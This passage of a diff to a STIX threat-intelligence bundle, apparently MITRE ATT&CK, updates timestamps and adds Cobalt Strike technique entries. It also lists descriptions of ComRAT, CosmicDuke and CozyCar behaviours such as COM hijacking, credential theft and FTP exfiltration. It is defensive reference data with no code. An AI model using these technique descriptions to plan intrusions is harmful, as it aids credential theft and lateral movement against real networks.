             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37676,7 +43983,7 @@
             "id": "relationship--df6bc111-0e49-4e61-b38a-ee79cf682d09",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can perform port scans from an infected host.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37697,7 +44004,7 @@
             "id": "relationship--b26eb7d2-1147-4c2b-a1eb-4a457e081e22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike uses the native Windows Network Enumeration APIs to interrogate and discover targets in a Windows Active Directory network.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37718,7 +44025,7 @@
             "id": "relationship--1b51b49a-1f3a-4b5d-aea3-989e9ccb72ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can execute a payload on a remote host with PowerShell.  This technique does write any data to disk.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37739,7 +44046,7 @@
             "id": "relationship--b9e624b0-47d1-4463-970b-fbb6ddcd7171",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can use WMI to deliver a payload to a remote host.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37760,7 +44067,7 @@
             "id": "relationship--d328f1e2-c98f-473e-aea5-063e1ee70744",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can use <code>WinRM</code> to execute a payload on a remote host.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37781,7 +44088,7 @@
             "id": "relationship--5b9fbec2-0e72-44ef-94a5-a9f702469c93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike's \"beacon\" payload is capable of running shell commands without <code>cmd.exe</code> and PowerShell commands without <code>powershell.exe</code>",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37802,7 +44109,7 @@
             "id": "relationship--e025dccd-ead3-44d8-af26-f2c3b27667f5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike will timestomp any files or payloads placed on a target machine to help them blend in.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37823,7 +44130,7 @@
             "id": "relationship--854a3a7e-09a7-4523-ac7f-d625a0b50b6b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike's \"beacon\" payload is capable of capturing screen shots.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37844,7 +44151,7 @@
             "id": "relationship--be20faa9-64bf-4a65-86c2-dc12f5695d22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can track key presses with a keylogger module.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37865,7 +44172,7 @@
             "id": "relationship--cf7cd81f-3684-469f-936b-a6098ff76dbd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike includes a capability to modify the \"beacon\" payload to eliminate known signatures or unpacking methods.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37886,7 +44193,7 @@
             "id": "relationship--6c030461-42c5-44db-908a-85ac9a5a9822",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can use a number of known techniques to bypass Windows UAC.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37902,12 +44209,264 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--2b469307-a635-4392-a18f-ed1f24b3a684",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can deliver Beacon payloads for lateral movement by leveraging remote COM execution.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike DCOM Jan 2017",
+                    "description": "Mudge, R. (2017, January 24). Scripting Matt Nelson\u2019s MMC20.Application Lateral Movement Technique. Retrieved November 21, 2017.",
+                    "url": "https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--c1fd6ce6-26e7-49a7-abff-a64fd0fc8a35",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can perform browser pivoting and inject into a user's browser to inherit cookies, authenticated HTTP sessions, and client SSL certificates.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "cobaltstrike manual",
+                    "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
+                    "url": "https://cobaltstrike.com/downloads/csmanual38.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--a6929a8b-e9b4-4122-8dd8-4030173346c9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike uses a command-line interface to interact with systems.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--f4865a5c-c17c-408a-94de-2feac0d006fd",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can collect data from a local system.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e8048bf8-3931-4d6b-b4a6-475ff717cbae",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can query shared drives on the local system.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d4f48744-0564-4ef3-bdae-421076912495",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can install a new service.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--b942cd55-6fed-49a1-ba05-af23836b518f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can exploit vulnerabilities such as MS14-058.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--9a286577-ccfc-4793-96ce-02c17dc0f4ae",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can perform pass the hash.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--6c303446-f8d1-424c-b1ac-8c10f82d33d7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can use process hollowing for execution.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--66eb9cc1-4eb4-4b84-8140-bd48da33e93d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can SSH to a remote service.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--23dca74f-2b3e-46c0-b7a3-9d9eab932f58",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can use PowerSploit or other scripting frameworks to perform execution.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--dac7355a-9d13-4155-a053-d0c18fe92f53",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can use Window admin shares (C$ and ADMIN$) for lateral movement.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--64309b21-2dc2-4369-9c70-66f47f5c4b56",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ComRAT samples have been seen which hijack COM objects for persistence by replacing the path to shell32.dll in registry location <code>HKCU\\Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feabec1}\\InprocServer32</code>.",
             "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
@@ -37928,7 +44487,7 @@
             "id": "relationship--1782abeb-8d28-42a1-8abe-c137f23b282c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ComRAT has used HTTP requests for command and control.",
             "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
@@ -37949,7 +44508,7 @@
             "id": "relationship--a9727d1b-777a-4c3e-8bcc-e0cbff7431d8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke can use HTTP or HTTPS for command and control to hard-coded C2 servers.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -37975,7 +44534,7 @@
             "id": "relationship--6d2d4146-bf9e-4b75-9a23-052c09e99eeb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke uses a keylogger and steals clipboard contents from victims.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -37996,7 +44555,7 @@
             "id": "relationship--dad229e7-fcc6-4c1d-99c3-47d54fbc6892",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke steals user files from local hard drives with file extensions that match a predefined list.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -38017,7 +44576,7 @@
             "id": "relationship--4d7add6f-ebd5-477f-9958-a5176835da2e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke collects user credentials, including passwords, for various programs and browsers, including popular instant messaging applications, Web browsers, and email clients. Windows account hashes, domain accounts, and LSA secrets are also collected, as are WLAN keys.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -38038,7 +44597,7 @@
             "id": "relationship--63f0007e-833e-4d6a-b79e-873525979f40",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke attempts to exploit privilege escalation vulnerabilities CVE-2010-0232 or CVE-2010-4398.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -38059,7 +44618,7 @@
             "id": "relationship--7331b11d-1d5e-4275-ba7e-a83ec4a59259",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke takes periodic screenshots and exfiltrates them.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -38080,7 +44639,7 @@
             "id": "relationship--e32b53b5-b112-483a-8d95-56bf3f43671f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke uses scheduled tasks typically named \"Watchmon Service\" for persistence.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -38101,7 +44660,7 @@
             "id": "relationship--17629f20-194c-48cb-aa1c-b3da2b6f06ba",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke uses Windows services typically named \"javamtsup\" for persistence.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -38122,7 +44681,7 @@
             "id": "relationship--ff61ebde-befe-488a-89d0-dc4c49e60d59",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke steals user files from removable media with file extensions and keywords that match a predefined list.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -38143,7 +44702,7 @@
             "id": "relationship--3e7c9978-4db1-4ee1-ae27-640acee5a543",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke steals user files from network shared drives with file extensions and keywords that match a predefined list.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -38164,7 +44723,7 @@
             "id": "relationship--bcb8ac03-4f58-4cd8-af58-c3df991c8af5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke searches for Microsoft Outlook data files with extensions .pst and .ost for collection and exfiltration.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -38185,7 +44744,7 @@
             "id": "relationship--66625422-17cd-4b04-beb5-fa2eabe350ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke copies and exfiltrates the clipboard contents every 30 seconds.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -38206,7 +44765,7 @@
             "id": "relationship--62507790-a137-409e-a655-9190ff78cb52",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke searches attached and mounted drives for file extensions and keywords that match a predefined list.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -38227,7 +44786,7 @@
             "id": "relationship--3d4dabc2-3bee-409a-a05d-e107677cfdc7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke exfiltrates collected files over FTP or WebDAV. Exfiltration servers can be separately configured from C2 servers.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -38248,7 +44807,7 @@
             "id": "relationship--d8ac067b-f246-40bb-98bd-fcff74092139",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke exfiltrates collected files automatically over FTP to remote servers.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -38269,7 +44828,7 @@
             "id": "relationship--fbae4191-679a-45b2-8ebb-8adb5348f4d0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke contains a custom version of the RC4 algorithm that includes a programming error.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -38290,7 +44849,7 @@
             "id": "relationship--330c8e43-575f-4c9a-b6c2-def7306841ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The main CozyCar dropper checks whether the victim has an anti-virus product installed. If the installed product is on a predetermined list, the dropper will exit. Newer versions of CozyCar will check to ensure it is not being executed inside a virtual machine or a known malware analysis sandbox environment. If it detects that it is, it will exit. ",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
@@ -38311,7 +44870,7 @@
             "id": "relationship--91d4c776-c259-46b0-b511-b344ca027009",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The payload of CozyCar is encrypted with simple XOR with a rotating key. The CozyCar configuration file has been encrypted with RC4 keys.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
@@ -38332,7 +44891,7 @@
             "id": "relationship--6e24d8d1-7376-493f-a85c-75448c80efed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
@@ -38353,7 +44912,7 @@
             "id": "relationship--327a64df-b405-453b-83d2-528d17e8df51",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
